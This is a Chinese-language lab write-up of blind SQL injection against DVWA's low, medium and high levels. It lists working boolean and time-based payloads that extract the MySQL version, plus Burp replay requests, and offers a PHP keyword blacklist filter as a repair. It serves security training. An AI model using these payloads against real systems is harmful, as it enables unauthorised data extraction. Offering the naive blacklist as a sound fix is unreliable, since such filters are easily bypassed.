[dvwa] sql injection(Blind)

简介: [dvwa] sql injection(Blind)

blind

0x01 low

1’ and length(version()) = 6 #

syntax: substr(string , from<start from 1>, cut length)

1’ and substr(version(),1,1) = ‘5’ #

1’ and substr(version(),2,1) = ‘.’ #

1’ and substr(version(),3,1) = ‘7’ #

1’ and substr(version(),4,1) = ‘.’ #

1’ and substr(version(),5,1) = ‘2’ #

1’ and substr(version(),6,1) = ‘6’ #

版本为5.7.26

syntax: if(judge, true for, false for)

1’ and if(length(version())=6,sleep(3),1) #

版本号6位

虽然显示数据库中找不到,但是明显观察到页面停顿了大约3秒

1’ and if(substr(version(),1,1)=‘5’,sleep(3),1) #

1’ and if(substr(version(),2,1)=‘.’,sleep(3),1) #

1’ and if(substr(version(),3,1)=‘7’,sleep(3),1) #

1’ and if(substr(version(),4,1)=‘.’,sleep(3),1) #

1’ and if(substr(version(),5,1)=‘2’,sleep(3),1) #

1’ and if(substr(version(),6,1)=‘6’,sleep(3),1) #

0x02 medium

在burp中重放发包

id=1 and length(version())=6&Submit=Submit

id=1 and ascii(substr(version(),1,1))=53#&Submit=Submit

0x03 high

与low相似,代码中增加了limit 1和isset($_COOKIE[‘id’])

查询参数通过cookie中传递

通过post请求体接收查询参数,把查询参数写道cookie,显示页面读cookie值回显

实现抗重放

0x04 Repair 修复漏洞

过滤,简单来说,过滤单引号,括号,空格,and,or,select,将有奇效

一般盲注用脚本爆,限制ip的频繁连接也是有用的

或者在回显处动手脚,随机给个错误回显,属于是调皮捣蛋了

<?php
$id = 1;
$suspects = array(" ","'","(",")","and","or","select");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){
    array_push($allnull,'Hacker');
}
$count = 0;
$id = str_replace($suspects,$allnull,$id,$count);
if($count>0){
    die("blind injection, blind response");
}


相关文章
|
2月前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
2月前
|
SQL 安全 数据库
[dvwa] sql injection
[dvwa] sql injection
|
9月前
|
SQL Java 数据库连接
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
148 0
java.sql.SQLException: sql injection violation
本文目录 1. 报错信息 2. 问题分析 3. 排除法 4. 解决方案
2206 0
|
SQL 安全 关系型数据库
DVWA-SQL注入(SQL Injection)低/中/高级别
DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤
1250 2
DVWA-SQL注入(SQL Injection)低/中/高级别
|
SQL 安全 Linux
kali linux 网络渗透测试学习笔记(二)OWASP ZAP工具扫描SQL injection漏洞失败
按照惯例,利用OWASP ZAP工具扫描SQL injection漏洞时,应该很快就可以扫描出来,但是在笔者进行扫描的时候,却遇到了以下状况: 这说明了该工具根本就没能够扫描出SQL注入的漏洞,不知道该如何解决。
2247 0
|
SQL 安全 .NET
微软发布3款SQL Injection(SQL 注入)攻击检测工具
随着 SQL INJECTION 攻击的明显增多,微软近日发布了三个免费工具,帮助网站管理员和检测存在的风险并对可能的攻击进行拦截。Scrawlr 下载地址:https://h30406.www3.hp.com/campaigns/2008/wwcampaign/1-57C4K/images/Scrawlr.msi 这个微软和 HP合作开发的工具,会在网站中爬行,对所有网页的查询字符串进行分析并发现其中的 SQL INJECTION 风险。
1033 0
|
12天前
|
SQL IDE Java
Java连接SQL Server数据库的详细操作流程
Java连接SQL Server数据库的详细操作流程
|
20天前
|
SQL DataWorks NoSQL
DataWorks产品使用合集之如何将SQL Server中的数据转存到MongoDB
DataWorks作为一站式的数据开发与治理平台,提供了从数据采集、清洗、开发、调度、服务化、质量监控到安全管理的全套解决方案,帮助企业构建高效、规范、安全的大数据处理体系。以下是对DataWorks产品使用合集的概述,涵盖数据处理的各个环节。
247 1